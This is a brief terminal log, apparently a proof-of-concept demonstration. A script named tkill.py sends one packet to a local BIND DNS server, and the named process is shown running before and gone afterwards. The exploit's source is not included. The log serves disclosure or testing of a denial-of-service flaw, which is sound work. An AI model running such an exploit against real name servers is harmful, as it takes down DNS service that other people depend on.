$ ps awux | grep -v grep | grep bind
bind      2373  0.0  2.2 141164 13424 ?        Ssl  14:58   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
$ python tkill.py 127.0.0.1
Begin emission:
..Finished to send 1 packets.
.......................................................................................................................................................................................................................^C
Received 217 packets, got 0 answers, remaining 1 packets
$ ps awux | grep -v grep | grep bind
$